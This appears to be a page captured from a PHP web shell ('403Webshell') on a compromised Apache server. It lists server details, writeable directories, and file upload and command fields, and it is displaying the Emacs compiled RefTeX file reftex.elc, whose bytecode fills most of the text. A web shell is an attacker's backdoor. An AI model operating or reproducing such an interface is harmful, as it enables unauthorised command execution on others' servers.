403Webshell
Server IP : 217.160.0.212  /  Your IP : 216.73.216.141
Web Server : Apache
System : Linux www 6.18.51-i1-ampere #1196 SMP Fri Sep 11 20:43:55 CEST 2026 aarch64
User : sws1073854427 ( 1073854427)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/share/emacs/28.2/lisp/textmodes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/emacs/28.2/lisp/textmodes/reftex.elc
;ELC
;;; Compiled
;;; in Emacs version 28.2
;;; with all optimizations.



(byte-code "\301W\203\n\302\303!\210\301\207" [emacs-major-version 28 require easymenu] 2)
#@48 Flag showing if tables need to be re-computed.
(defvar reftex-tables-dirty t (#$ . 177))
#@21 

(fn SYMBOL VALUE)
(defalias 'reftex-set-dirty #[514 "\301L\207" [reftex-tables-dirty t] 4 (#$ . 272)])
(byte-code "\300\301!\210\300\302!\207" [require reftex-vars reftex-loaddefs] 2)
#@28 Make a varioref reference.
(autoload 'reftex-varioref-vref "reftex-ref" '(#$ . 467) t)
#@34 Make a fancyref \fref reference.
(autoload 'reftex-fancyref-fref "reftex-ref" '(#$ . 560) t)
#@34 Make a fancyref \Fref reference.
(autoload 'reftex-fancyref-Fref "reftex-ref" '(#$ . 659) t)
#@28 Version string for RefTeX.
(defconst reftex-version emacs-version (#$ . 758))
#@25 Keymap for RefTeX mode.
(defvar reftex-mode-map (byte-code "\301 \302\303\304#\210\302\305\306#\210\302\307\310#\210\302\311\312#\210\302\313\314#\210\302\315\316#\210\302\317\320#\210\302\321\322#\210\302\323\324#\210\302\325\326#\210\302\327\330#\210\331\332!\204P\302\333\334#\210\203~\302\335\304#\210\302\336\310#\210\302\337\312#\210\302\340\314#\210\302\341\330#\210\302\342\343#\210\302\344\345#\210\207" [reftex-extra-bindings make-sparse-keymap define-key "=" reftex-toc "-" reftex-toc-recenter "(" reftex-label ")" reftex-reference "[" reftex-citation "<" reftex-index ">" reftex-display-index "/" reftex-index-selection-or-word "\\" reftex-index-phrase-selection-or-word "|" reftex-index-visit-phrases-buffer "&" reftex-view-crossref key-binding [(shift mouse-2)] [(shift mouse-2)] reftex-mouse-view-crossref "t" "l" "r" "c" "v" "g" reftex-grep-document "s" reftex-search-document] 5) (#$ . 842))
(defvar reftex-mode-menu nil)
(defvar reftex-syntax-table nil)
(defvar reftex-syntax-table-for-bib nil)
(defalias 'reftex--prepare-syntax-tables #[0 "\302 \303\304\305#\210\303\306\305#\210\302 \303\307\305	#\210\303\310\305	#\210\303\311\305	#\210\303\312\305	#\210\303\304\305	#\210\303\306\305	#\207" [reftex-syntax-table reftex-syntax-table-for-bib copy-syntax-table modify-syntax-entry 40 "." 41 39 34 91 93] 4])
(byte-code "\203	\204\302 \210\302\207" [reftex-syntax-table reftex-syntax-table-for-bib reftex--prepare-syntax-tables] 1)
#@40 The timer used for auto-view-crossref.
(defvar reftex-auto-view-crossref-timer nil (#$ . 2347))
#@49 The idle timer used to recenter the toc window.
(defvar reftex-toc-auto-recenter-timer nil (#$ . 2449))
#@22 Turn on RefTeX mode.
(defalias 'turn-on-reftex #[0 "\300\301!\207" [reftex-mode t] 2 (#$ . 2559)])
(byte-code "\300\301\302\303#\210\300\301\304\305#\207" [put reftex-mode :included (memq major-mode '(latex-mode tex-mode)) :menu-tag "RefTeX Mode"] 4)
#@91 Non-nil if Reftex mode is enabled.
Use the command `reftex-mode' to change this variable.
(defvar reftex-mode nil (#$ . 2816))
(make-variable-buffer-local 'reftex-mode)
#@1881 Minor mode with distinct support for \label, \ref and \cite in LaTeX.

This is a minor mode.  If called interactively, toggle the `Reftex
mode' mode.  If the prefix argument is positive, enable the mode, and
if it is zero or negative, disable the mode.

If called from Lisp, toggle the mode if ARG is `toggle'.  Enable the
mode if ARG is nil, omitted, or is a positive number.  Disable the
mode if ARG is a negative number.

To check whether the minor mode is enabled in the current buffer,
evaluate `reftex-mode'.

The mode's hook is called both when the mode is enabled and when it is
disabled.

\<reftex-mode-map>A Table of Contents of the entire (multifile) document with browsing
capabilities is available with `\[reftex-toc]'.

Labels can be created with `\[reftex-label]' and referenced with `\[reftex-reference]'.
When referencing, you get a menu with all labels of a given type and
context of the label definition.  The selected label is inserted as a
\ref macro.

Citations can be made with `\[reftex-citation]' which will use a regular expression
to pull out a *formatted* list of articles from your BibTeX
database.  The selected citation is inserted as a \cite macro.

Index entries can be made with `\[reftex-index-selection-or-word]' which indexes the word at point
or the current selection.  More general index entries are created with
`\[reftex-index]'.  `\[reftex-display-index]' displays the compiled index.

Most command have help available on the fly.  This help is accessed by
pressing `?' to any prompt mentioning this feature.

Extensive documentation about RefTeX is available in Info format.
You can view this information with `\[reftex-info]'.

\{reftex-mode-map}
Under X, these and other functions will also be available as `Ref' menu
on the menu bar.

------------------------------------------------------------------------------

(fn &optional ARG)
(defalias 'reftex-mode #[256 "\305 \306=\203
?\202\247\203\307W\203\310\202\311\312\301!\2031\313\300	\"\2031\300	B\203k\n\203<\302 \210\303\314N\204O\203I\315 \210\316\303\314\311#\210\304\314N\204d\f\311=\203^\317 \210\316\304\314\311#\210\320 \210\321\322!\210\321\322\203u\323\202v\324\"\210\325\326!\203\230\305 \203\212\211\305 \232\203\230\327\330\203\224\331\202\225\332\333#\210\210\334 \210\207" [reftex-mode local-minor-modes reftex-plug-into-AUCTeX reftex-auto-view-crossref reftex-auto-recenter-toc current-message toggle 1 nil t boundp delq initialized reftex-toggle-auto-view-crossref put reftex-toggle-auto-toc-recenter reftex--prepare-syntax-tables run-hooks reftex-mode-hook reftex-mode-on-hook reftex-mode-off-hook called-interactively-p any message "Reftex mode %sabled%s" "en" "dis" " in current buffer" force-mode-line-update] 6 (#$ . 2993) (byte-code "\203\n\301!\202\302C\207" [current-prefix-arg prefix-numeric-value toggle] 2)])
(defvar reftex-mode-hook nil)
(byte-code "\301\302N\204\f\303\301\302\304#\210\303\301\305\306#\210\303\301\307\310C#\210\311\312\313\310\211%\207" [reftex-mode-map reftex-mode-hook variable-documentation put "Hook run after entering or leaving `reftex-mode'.\nNo problems result if this variable is not bound.\n`add-hook' automatically binds it.  (This is true for all hook variables.)" custom-type hook standard-value nil add-minor-mode reftex-mode " Ref"] 6)
#@74 Save RefTeX's parse file for this buffer if the information has changed.
(defalias 'reftex-kill-buffer-hook #[0 "\303\300!\2054\2054\303\301!\2054	\2054\303\302!\2054\n\2054\nJ\2054\n\304N\2054\30512\306\307!0\207\210\310\207" [reftex-mode reftex-save-parse-info reftex-docstruct-symbol boundp modified (error) reftex-access-parse-file write nil] 2 (#$ . 6340)])
#@48 Call `reftex-kill-buffer-hook' on all buffers.
(defalias 'reftex-kill-emacs-hook #[0 "\212\300\301\302 \")\207" [mapcar #[257 "\211q\210\300 \207" [reftex-kill-buffer-hook] 2 "\n\n(fn BUF)"] buffer-list] 3 (#$ . 6719)])
(defconst reftex-multifile-symbols '(reftex-docstruct-symbol))
(defvar reftex-master-index-list nil)
(defvar reftex-multifile-index 0)
(defvar reftex-docstruct-symbol nil)
(make-variable-buffer-local 'reftex-docstruct-symbol)
(defalias 'reftex-next-multifile-index #[0 "T\211\207" [reftex-multifile-index] 2])
#@148 Tie the buffer-local symbols to globals connected with the master file.
If the symbols for the current master file do not exist, they are created.
(defalias 'reftex-tie-multifile-symbols #[0 "\303\304 !\305\"	\306\211\211\203A\262\202$\307 \262\310\262BB\203c@\262A\262\311!\262\312\313\314	!Q!L\210\315J\316#\210\211\203$J\306L\210\315J\317\320#\210\315J\321\n#\210\202$\211?\207" [reftex-master-index-list reftex-multifile-symbols reftex-ref-style-default-list file-truename reftex-TeX-master-file assoc nil reftex-next-multifile-index t symbol-name intern "-" int-to-string put :master-index reftex-index-macros-style (default) reftex-ref-style-list] 12 (#$ . 7258)])
#@70 Remove ties from multifile symbols, so that next use makes new ones.
(defalias 'reftex-untie-multifile-symbols #[0 "\301\205@\262A\262\211\301L\210\202\207" [reftex-multifile-symbols nil] 4 (#$ . 7968)])
(defalias 'reftex-TeX-master-file #[0 "\212eb\210\302\303\304\305#)\203\306\307!\202x\310\311!\203*\3121$\311\305!0\202x\210\313 \202x\310\301!\2035\301 \202x\314\300!\203b\315\267\202R\313 \202x\316\317\304\211\305\304%\211\202x\206x\316\317\304\211\305\304%\211\202x\314\301!\203v	;\203q	\202x\313 \202x\313 \211\204\203\320\321!\210\202\253\322\323P!\204\223\324\323P!\203\233\211\323P\262\202\253\322!\204\253\324!\204\253\313 \262\325!\207" [TeX-master tex-main-file re-search-forward "^[[:space:]]*\\\\documentclass\\[\\([^]]+\\)\\]{subfiles}" nil t match-string-no-properties 1 fboundp TeX-master-file (error) buffer-file-name boundp #s(hash-table size 2 test eq rehash-size 1.5 rehash-threshold 0.8125 purecopy t data (t 65 shared 70)) read-file-name "Master file: " error "Need a filename for this buffer, please save it first" file-exists-p ".tex" find-buffer-visiting expand-file-name] 6])
(defalias 'reftex-is-multi #[0 "\301J\236\211\203\f\211A@\207\302\207" [reftex-docstruct-symbol is-multi t] 2])
#@275 Set the document-local value of `reftex-cite-format'.
When such a value exists, it overwrites the setting given with
`reftex-cite-format'.  See the documentation of `reftex-cite-format'
for possible values.  This function should be used from AUCTeX style files.

(fn VALUE)
(defalias 'reftex-set-cite-format #[257 "\204\301 \210\2059\205\302\303#\207" [reftex-docstruct-symbol reftex-tie-multifile-symbols put reftex-cite-format] 5 (#$ . 9241)])
(defalias 'reftex-get-cite-format #[0 "\2039\203\301N\203\301N\207	\207" [reftex-docstruct-symbol reftex-cite-format] 2])
#@497 Add index macro descriptions to `reftex-index-macros-style'.
The format of ENTRY-LIST is exactly like `reftex-index-macros'.  See there
for details.
This function makes it possible to support RefTeX from AUCTeX style files.
The entries in ENTRY-LIST will be processed after the user settings in
`reftex-index-entries', and before the defaults.  Any changes made to
`reftex-index-macros-style' will raise a flag to the effect that
the label information is recompiled on next use.

(fn ENTRY-LIST)
(defalias 'reftex-add-index-macros #[257 "\204\302 \210\205O9\205O\303N\304\211\203D\211A\262\242\2629\2031>\2041\305!\262\235\204\306\211\262B\262\202\211\205M\307\303#\266\203\207" [reftex-docstruct-symbol reftex-tables-dirty reftex-tie-multifile-symbols reftex-index-macros-style nil reftex-remove-symbols-from-list t put] 9 (#$ . 9837)])
#@51 Activate the referencing style STYLE.

(fn STYLE)
(defalias 'reftex-ref-style-activate #[257 "\300\301\"\207" [reftex-ref-style-toggle activate] 4 (#$ . 10715)])
#@231 Activate or deactivate the referencing style STYLE.
With the optional argument ACTION a certain action can be forced.
The symbol `activate' will activate the style and `deactivate'
will deactivate it.

(fn STYLE &optional ACTION)
(defalias 'reftex-ref-style-toggle #[513 "\204\302 \210\205h9\205h\303N\304\305\267\202C\235\204]\306\211\262\307C\"\262\202]\235\203]\306\211\262\310\"\262\202]\235\203Q\310\"\210\202X\307C\"\262\306\211\262\211\205f\311\303#\266\202\207" [reftex-docstruct-symbol reftex-tables-dirty reftex-tie-multifile-symbols reftex-ref-style-list nil #s(hash-table size 2 test eq rehash-size 1.5 rehash-threshold 0.8125 purecopy t data (activate 26 deactivate 47)) t append delete put] 9 (#$ . 10885)])
#@67 Return the list of referencing styles to be active at the moment.
(defalias 'reftex-ref-style-list #[0 "\204\302 \210\2039\203\303N\203\303N\207	\207" [reftex-docstruct-symbol reftex-ref-style-default-list reftex-tie-multifile-symbols reftex-ref-style-list] 2 (#$ . 11655)])
(defvar reftex-type-query-prompt nil)
(defvar reftex-type-query-help nil)
(defvar reftex-typekey-to-format-alist nil)
(defvar reftex-typekey-to-prefix-alist nil)
(defvar reftex-env-or-mac-alist nil)
(defvar reftex-special-env-parsers nil)
(defvar reftex-label-mac-list nil)
(defvar reftex-label-env-list nil)
(defvar reftex-typekey-list nil)
(defvar reftex-words-to-typekey-alist nil)
(defvar reftex-prefix-to-typekey-alist nil)
(defvar reftex-last-used-reference (byte-code "\300\211\211\211F\207" [nil] 4))
(defvar reftex-key-to-index-macro-alist nil)
(defvar reftex-query-index-macro-prompt nil)
(defvar reftex-query-index-macro-help nil)
(defvar reftex-no-follow-message "No follow-mode into unvisited file.  Press SPC to visit it.")
(defvar reftex-no-info-message "%s: info not available, use `\\[reftex-view-crossref]' to get it.")
(defvar reftex-default-context-position nil)
(defvar reftex-location-start nil)
(defvar reftex-call-back-to-this-buffer nil)
(defvar reftex-select-return-marker (make-marker))
(defvar reftex-active-toc nil)
(defvar reftex-tex-path nil)
(defvar reftex-bib-path nil)
(defvar reftex-select-marked nil)
(defvar reftex-last-follow-point nil)
(defvar reftex-latex-syntax-table nil)
(defvar reftex-prefix nil)
(defvar reftex-section-levels-all nil)
(defvar reftex-buffers-with-changed-invisibility nil)
(defvar reftex-callback-fwd t)
#@68 Stores the name of the tex file that `reftex-toc' was last run on.
(defvar reftex-last-toc-master nil (#$ . 13314))
(defvar reftex-recursive-edit-marker (make-marker))
(defvar reftex-buffers-to-kill nil)
(defvar reftex-section-regexp nil)
(defvar reftex-section-or-include-regexp nil)
(defvar reftex-index-macro-regexp nil)
(defvar reftex-index-level-re nil)
(defvar reftex-index-key-end-re nil)
(defvar reftex-find-index-entry-regexp-format nil)
(defvar reftex-everything-regexp nil)
(defvar reftex-everything-regexp-no-index nil)
(defvar reftex-index-re nil)
(defvar reftex-find-citation-regexp-format "\\\\\\([a-zA-Z]*cite[*a-zA-Z]*\\*?\\|bibentry\\)\\(\\[[^]]*\\]\\|{[^}]*}\\)*{\\([^}]*,\\)?\\(%s\\)[},]")
(defvar reftex-find-reference-format "\\\\\\(ref[a-zA-Z]*\\|[a-zA-Z]*ref\\(range\\)?\\)\\*?\\(\\[[^]]*\\]\\|{[^}]*}\\)*{\\(%s\\)}")
(defvar reftex-macros-with-labels nil)
(defvar reftex-macros-with-index nil)
(defvar reftex-index-macro-alist nil)
(defvar reftex-find-label-regexp-format nil)
(defvar reftex-find-label-regexp-format2 nil)
(defvar reftex-section-pre-regexp "\\\\")
(defvar reftex-section-post-regexp "\\*?\\(\\[[^]]*\\]\\)?[[{ 	
\n\\]")
(defvar reftex-section-info-function 'reftex-section-info)
#@71 Memorizes old variable values to indicate changes in these variables.
(defvar reftex-memory nil (#$ . 14541))
(defconst reftex-cache-variables '(reftex-memory reftex-section-levels-all reftex-env-or-mac-alist reftex-special-env-parsers reftex-macros-with-labels reftex-label-mac-list reftex-label-env-list reftex-typekey-list reftex-typekey-to-format-alist reftex-typekey-to-prefix-alist reftex-words-to-typekey-alist reftex-prefix-to-typekey-alist reftex-type-query-prompt reftex-type-query-help reftex-index-macro-alist reftex-macros-with-index reftex-query-index-macro-prompt reftex-query-index-macro-help reftex-key-to-index-macro-alist reftex-section-regexp reftex-section-or-include-regexp reftex-index-re reftex-everything-regexp reftex-everything-regexp-no-index reftex-find-label-regexp-format reftex-find-label-regexp-format2 reftex-find-index-entry-regexp-format))
(defalias 'reftex-ensure-compiled-variables #[0 "	\306NC\211\242@\n	\307N	\310N\f	\311N
\203\312 \207	@=\203P	A@=\203P\313\n8=\203P\314\n8=\203P\315\n8=\203P\211\316\n8=\206\225@=\203\223A@=\203\223\3138=\203\223\3138=\203\223\3158=\203\223\211\3168=\203\223\317\320!\210\321\322\323\n\"\"\207\312 \207" [reftex-memory reftex-docstruct-symbol reftex-label-alist reftex-default-label-alist-entries reftex-index-macros reftex-tables-dirty reftex-cache reftex-section-levels reftex-label-alist-style reftex-index-macros-style reftex-compile-variables 2 3 4 5 message "Restoring cache" mapcar make-closure #[257 "\211\300\242\300\211\242A\240\210\242L\207" [V0] 5 "\n\n(fn SYM)"] reftex-cache-variables] 13])
#@167 Reset RefTeX Mode.
This will re-compile the configuration information and remove all
current scanning information and the parse file to enforce a rescan
on next use.
(defalias 'reftex-reset-mode #[0 "\301\211\203\211@\302\303\304#\210\302\305\304#\210A\266\202\202\210\212\306\304\211A\262\242\211\262\2037\307!\203\310!\210\202\266\311 \210)\312 \210\313\314!\210\203K\300 \210\315 \207" [reftex-plug-into-AUCTeX (status master-dir recursive-path rec-type) put reftex-tex-path nil reftex-bib-path ("*RefTeX Help*" "*RefTeX Select*" "*Duplicate Labels*" "*toc*" " *RefTeX-scratch*") get-buffer kill-buffer reftex-erase-all-selection-and-index-buffers reftex-reset-scanning-information reftex-access-parse-file kill reftex-compile-variables] 6 (#$ . 16176) nil])
#@113 Reset the symbols containing information from buffer scanning.
This enforces rescanning the buffer on next use.
(defalias 'reftex-reset-scanning-information #[0 "\302 \230\203\303\304!\210	\305\205,@\262A\262\211J9\203
\211J\203
\211J\305L\210\202
\207" [reftex-last-toc-master reftex-multifile-symbols reftex-TeX-master-file reftex-erase-buffer "*toc*" nil] 4 (#$ . 16965)])
(defalias 'reftex-erase-all-selection-and-index-buffers #[0 "\302\303\"\210\302\304\305	J\236A\"\207" [reftex-typekey-list reftex-docstruct-symbol mapc #[257 "\300\301!!\207" [reftex-erase-buffer reftex-make-selection-buffer-name] 4 "\n\n(fn TYPE)"] #[257 "\300\301!!\207" [reftex-kill-buffer reftex-make-index-buffer-name] 4 "\n\n(fn TAG)"] index-tags] 4])
(defalias 'reftex-compile-variables #[0 "\306\307!\210\310\311!\203\312\313!\203\3141\313 0\210\202\210\315	\n\316N\n\317N\f\n\320N\257\321\322\323	\n\317N#@\"\324\"\321\322\323\f\n\320N\325#A\"!\315\211\211\211C\315\211\211C\315C\315\211\211\211\211\211\211\211\211\211C\315C\315\211\211\211\211\211\211\211\211B\326C\315\211DE\315\211FG\315\211HI\203\\\3272X@\262@\262A\262A\262\204\245\330\262@;\203\275\331@!@\332PABB\262@\262\205\315\333!\240\210A@\262\3348\240\210\3358\262\3368\262\3378\262;\203\373\336\233\262\242;\203\340\341\242\"\203\342\242\343\"\240\210\202!\344\242D\240\210\242@\262\242A@\262\242\203J\242D\235\203BD\202H\242DBD\242\203x\203x\345C\"\204x\242B\211C\235\203pC\202t\211CB\262C\242\203\247\203\247\345\242F\"\204\247\242B\211F\235\203\237F\202\243\211FB\262F9\203\342\312!\204\272\306\346\"\210\315\262\315\262
\315\262\f\347J\"\203\322J\210\202\331JBJ\350!\262\202\212\351\352\"\203@\353!\211@\206\365\262\211A@\262\211AA@\262\211AAA@\262

\203\"\235\203\202 B\262\210\242\203\212I\235\2036I\202;IBI\202\212\315\262\315\262
\315\262\f\354\230\204\212\330\230\204\212\355\230\204\212H\235\203kH\202pHBH\203\212\356\357\"\345\"\204\211\211BB\262\210K\236\203\240\356K\236A\360!\"\262\203\272\345\242E\"\204\272\242BEBE\354\230\204\347\330\230\204\347\345G\"\204\347\242\257GBG@\361=\203\367A\262\202\376\362\360\"\262\211A\262\242\240;\203%\345\242B\"\204\376\242\242BBBB\202\376\330\230\206W\345\242\"\211\262\f\203E\n\fAB\241\202W\242\205W\242DB\211\2620\210\202\200F\237F\363\364\"\262\365\366\367\330#\370QL\371\366\372\373
\"\374#PM\362\372\375%B\237\"B\315\211NO\315P\203N@\262@\262A@\262\3348\262\3358\206\277\330\262\3368\262G\337V\203\326\3378\202\356Q@=\203\355QG\334V\203\355\334Q8\202\356\376\262A\262\353!\211@\206\262	\211A@\262\211AA@\262\211AAA@\262
P\235\204J\n\n
\257NBN\345O\"\204C	DOBOPBP\210\202\234\363O\377\"O\201f\366\201gO\330#\370QR\201h\240\210\201i\366\372\201j\f\"O\330#PS\323\n\316N#T\201k\366\201lU\201m#\201nQ\201o\366\201lV\201m#\201pQ\201qW\201r\366\201sT\201m#\201nX\260\203\331\201r\366\360\201m#\201tQ\202\332\330\201r\366\360P\201m#\201tQ\201r\366\360P\201m#\201uQ\201v\366\360\323\201w\"\201m#\201uQ\360Y@!\201x\335Y8\201yYA@\334Y8\370\260Z\201m	Q[\201m\201m\201z\n\203P\201m\202Q\330
\260	\\\201m\201m\201{\203q\201m\202r\330\f\260]^_\211`abc\201|d\306\201}!\266'\201~\n\201\362\201\200e\"#\207" [reftex-tables-dirty reftex-label-alist reftex-docstruct-symbol reftex-default-label-alist-entries reftex-index-macros reftex-memory message "Compiling label environment definitions..." featurep tex-site fboundp TeX-update-style (error) nil reftex-section-levels reftex-label-alist-style reftex-index-macros-style reftex-uniquify-by-car reftex-splice-symbols-into-list append (nil) (default) (("sec:" . "s") ("cha:" . "s") ("chap:" . "s")) next-entry #2="" string-to-char ":" char-to-string 2 3 4 5 string-search "@" split-string "@+" "\\label{%s}" assoc "Warning: %s does not seem to be a valid function" memql symbol-name string-match "\\`\\\\" reftex-parse-args "any" "section" format "begin{%s}" regexp-quote regexp mapcar sort #[514 "@\227@\227\231\207" #1=[] 4 "\n\n(fn X1 X2)"] "Label type: [" mapconcat #[257 "\300\301@\"\207" [format "%s"] 4 "\n\n(fn X)"] "]" "SELECT A LABEL TYPE:\n--------------------\n" make-closure #[257 "\300\301\240\210\302\303@\304\305\306\300\"A\307##\207" [V0 0 format " [%s]   %s" mapconcat make-closure #[257 "\300\211\242G\\\240\210\300\242\301W\203\207\300\302\240\210\303P\207" [V0 60 0 "\n       "] 4 "\n\n(fn ENV)"] " "] 8 "\n\n(fn X)"] "\n" #[257 "\301@\240\210\300A\240\210\302\305\300\242\f\"A\240\210\301\306\301\242\307Q\240\210\303\310\240\210\303\242\311W\203R\303\242\302\242GW\203R\302\242\303\242H\312=\204R\301\211\242\313\314\302\242\310\303\242TO!Q\240\210\303\211\242T\240\210\202\301\242\315P\300\242B\207" [V0 V1 V2 V3 reftex-typekey-to-format-alist assoc "\\W\\(" "[ 	\n
]*\\)\\(" 0 10 37 "\\|" regexp-quote "\\)\\="] 8 "\n\n(fn X)"] t #[514 "@\227@\227W\207" #1# 4 "\n\n(fn A B)"] reftex-label-alist-builtin reftex-index-macros-builtin reftex-words-to-typekey-alist reftex-prefix-to-typekey-alist reftex-typekey-list reftex-typekey-to-format-alist reftex-typekey-to-prefix-alist reftex-env-or-mac-alist reftex-label-env-list reftex-label-mac-list reftex-special-env-parsers reftex-default-context-regexps reftex-type-query-prompt reftex-type-query-help reftex-index-macro-alist reftex-key-to-index-macro-alist reftex-macros-with-index reftex-index-default-macro reftex-query-index-macro-prompt reftex-query-index-macro-help reftex-section-levels-all reftex-label-regexps reftex-include-file-commands reftex-section-pre-regexp reftex-section-post-regexp reftex-index-special-chars reftex-section-regexp reftex-section-or-include-regexp reftex-everything-regexp reftex-everything-regexp-no-index reftex-index-re reftex-index-level-re reftex-index-key-end-re reftex-macros-with-labels reftex-find-index-entry-regexp-format reftex-find-label-regexp-format reftex-find-label-regexp-format2 reftex-cache-variables "Index macro: [" #[257 "\300@!\207" [char-to-string] 3 "\n\n(fn X)"] 0 "SELECT A MACRO:\n---------------\n" #[257 "\301\302@A@\303\300\211\242T\240\304\"\305U\203\306\202\307$\207" [V0 format "[%c] %-20.20s%s" mod 3 0 "\n" #2#] 8 "\n\n(fn X)"] "\\(?:" identity "\\|" "\\)" "\\(^\\)%?[ 	]*\\\\\\(" "\\)[{ 	]+\\([^} 	\n
]+\\)" "\\(^\\)%?[ 	]*" "\\(" #[257 "\300@!\207" [regexp-quote] 3 "\n\n(fn X)"] "\\)[[{]" "\\)\\([[{][^]}]*[]}]\\)*[[{]\\(%s\\)[]}]" "\\(label[[:space:]]*=[[:space:]]*\\|" ("\\label") "[^" "][" "\\|\\(^\\)%?[ 	]*\\(\\\\appendix\\)\\|" "\\|\\(^\\)%?[ 	]*\\(\\\\appendix\\)\\|\\(\\\\6\\\\3\\\\1\\)" "\\([]} 	\n
]\\)\\([[{]\\)\\(%s\\)[]}]" "Compiling label environment definitions...done" put reftex-cache symbol-value] 48])
#@14 

(fn MACRO)
(defalias 'reftex-parse-args #[257 "\300\301\"\205I\211\302\211\224O\302\224\303O\303\211\302\300\304\"\203B\211T\262\305!\306=\203,\211B\262\307\225\2038\2048\211\262\302\225\303O\262\202F\266\205\207" [string-match "[[{]\\*?[]}]" 0 nil "\\`[[{]\\(\\*\\)?[]}]" string-to-char 91 1] 10 (#$ . 24109)])
#@86 Ensure access to the scanning info for the current file.

(fn &optional RESCAN FILE)
(defalias 'reftex-access-scan-info #[512 "\203
\303 \204
\304\305!\210	\204\306 \210\307 \210	J\203\"\310\235\203+\212\311\312!\210\313 \210)	J\204>\314\235\204>\n\203>\315\316!\210\317=\206X	J\204N\320\321\"\207\322\235\205X\320\"\207" [reftex-mode reftex-docstruct-symbol reftex-save-parse-info buffer-file-name error "RefTeX works only in buffers visiting a file" reftex-tie-multifile-symbols reftex-ensure-compiled-variables (t 1 (4) (16)) reftex-erase-buffer "*toc*" reftex-erase-all-selection-and-index-buffers (t 1 (4) (16)) reftex-access-parse-file read -1 reftex-do-parse 1 (t 1 (4) (16))] 5 (#$ . 24451)])
#@60 Is the scanning info about the current document available?
(defalias 'reftex-scanning-info-available-p #[0 "\204\301 \2109\205J\205\302\207" [reftex-docstruct-symbol reftex-tie-multifile-symbols t] 1 (#$ . 25178)])
#@15 

(fn LIST N)
(defalias 'reftex-silence-toc-markers #[514 "\205.\211S\211\262\300V\205.@@\301=\203'\302\303@8!\203'\303@8\304\211\223\210A\262\202\207" [-1 toc markerp 4 nil] 5 (#$ . 25408)])
#@121 Perform ACTION on the parse file (the .rel file).
Valid actions are: readable, restore, read, kill, write.

(fn ACTION)
(defalias 'reftex-access-parse-file #[257 "J\304 \305\306\307\"\203\211\310\211\224O\nP\202\211\nP\311\267\202\233\312!\202\366\313\314\305#\210\2044\315 \210\316!\203S\3171G\320!\210\3210\202\366\210\305L\210\322\323\"\202\366\322\324\"\202\366\313\314\305#\210\316!\205\366\3251v\320!\210\326 \210\3210\202\366\210\327\330\"\210\305L\210\305\202\366\316!\205\366\331!\205\366\327\332\"\210\333!\202\366\313\314\305#\210\212\331!\203\357\334\335\321\"\336\337\"\216r\211q\210\327\340\341!\"\210\342c\210\343\344\"c\210\343\345\346 \347 #c\210\350c\210p\351\352\"\210)\353c\210)r\211q\210\354\305\211\305\310%\210*\210\202\364\322\355\"\210)\321)\207" [reftex-docstruct-symbol enable-local-variables reftex-parse-file-extension standard-output reftex-TeX-master-file nil string-match "\\.[a-zA-Z]+\\'" 0 #s(hash-table size 4 test eq rehash-size 1.5 rehash-threshold 0.8125 purecopy t data (readable 33 restore 39 read 90 kill 132)) file-readable-p put modified reftex-tie-multifile-symbols file-exists-p (error) load-file t error "Error while loading file %s" "No restore file %s" (error) reftex-check-parse-consistency message "Error while restoring file %s" file-writable-p "Unlinking file %s" delete-file generate-new-buffer " *temp file*" make-closure #[0 "\301\300!\205	\302\300!\207" [V0 buffer-name kill-buffer] 2] "Writing parse file %s" abbreviate-file-name ";; RefTeX parse info file\n" format ";; File: %s\n" ";; User: %s (%s)\n\n" user-login-name user-full-name "(set reftex-docstruct-symbol '(\n\n" mapc #[257 "\211@\301=\2037\302\301\303\3048\3058\306\3078\3108\311	8\312\3138!\203/\314\3138!\2063\315\n8\257	!\207\316=\204D\211@\317=\206G\302!\207" [reftex-support-index toc print "toc" 2 3 nil 5 6 7 markerp 4 marker-position 8 t index] 13 "\n\n(fn X)"] "))\n\n" write-region "Cannot write to file %s"] 12 (#$ . 25620)])
(defalias 'reftex-check-parse-consistency #[0 "\301 \302J\236A@\303!\303!\230?\205\304\305#\210\306\307!\207" [reftex-docstruct-symbol reftex-TeX-master-file bof file-truename message "Master file name in load file is different: %s versus %s" error "Master file name error"] 6])
#@26 

(fn XR-ALIST XR-INDEX)
(defalias 'reftex-select-external-document #[514 "G\300\\S\301\302\300#\303\211\304U\203 \305\306!\210\307 \210\310\304!\210\311\207\312U\203+\304Z\207\212\313\314\315\316\n\"\"\301\317\"\320C\321\322\323\324\325#\326#P\303\327$\262\300Y\203eX\203e\300Z\266\203\202\214\330U\203\205\331\332\303\327$\262\333\f\">GZ\266\203\202\214\334\335\"\266\203)\207" [48 format "[%c-%c] Select    TAB: Read prefix with completion" nil 1 message "No external documents available" ding sit-for 0 2 apply max mapcar #[257 "\211@G\207" [] 2 "\n\n(fn X)"] " [%%c]  %%-%ds  %%s\n" 47 reftex-select-with-char "SELECT EXTERNAL DOCUMENT\n------------------------\n" mapconcat make-closure #[257 "\302\300\301\211\242T\240@\206
\303\304A!$\207" [V0 V1 format #1="" abbreviate-file-name] 7 "\n\n(fn X)"] #1# t 9 completing-read "Prefix: " assoc error "Invalid document selection [%c]"] 18 (#$ . 27942)])
#@302 Find FILE of type TYPE in MASTER-DIR or on the path associated with TYPE.
If the file does not have any of the valid extensions for TYPE,
try first the default extension and only then the naked file name.
When DIE is non-nil, throw an error if file not found.

(fn FILE TYPE MASTER-DIR &optional DIE)
(defalias 'reftex-locate-file #[1027 "\203\305\202	\306\307	\"A\211@\310\311\312\313#\314Q\315	\"\203&C\202A\n\203:\316\317\320\321\"\"	C\"\202APD\322\211\211\211\211\323!\203h\211A\262\242\211\262\203\315\324!\203M\262\322\262\202M\203\201\307
\f\"\203\201\325#\262\202\315\204\315	\203\315\326
\211A\262
\242$\262\262\204\201\211A\262\242\211\262\203\201\203\270=\204\236\262B\262\327#\262\202\236\203\323\207\n\203\340\330\331\"\210\322\207\332\333\"\210\322\207" [reftex-search-unrecursed-path-first reftex-file-extensions reftex-try-all-extensions reftex-use-external-file-finders reftex-external-file-finders (nil t) (t) assoc "\\(" mapconcat regexp-quote "\\|" "\\)\\'" string-match append mapcar make-closure #[257 "\300P\207" [V0] 3 "\n\n(fn X)"] nil file-name-absolute-p file-regular-p reftex-find-file-externally reftex-access-search-path reftex-find-file-on-path error "No such file: %s" message "No such file: %s (ignored)"] 19 (#$ . 28900)])
#@39 

(fn FILE TYPE &optional MASTER-DIR)
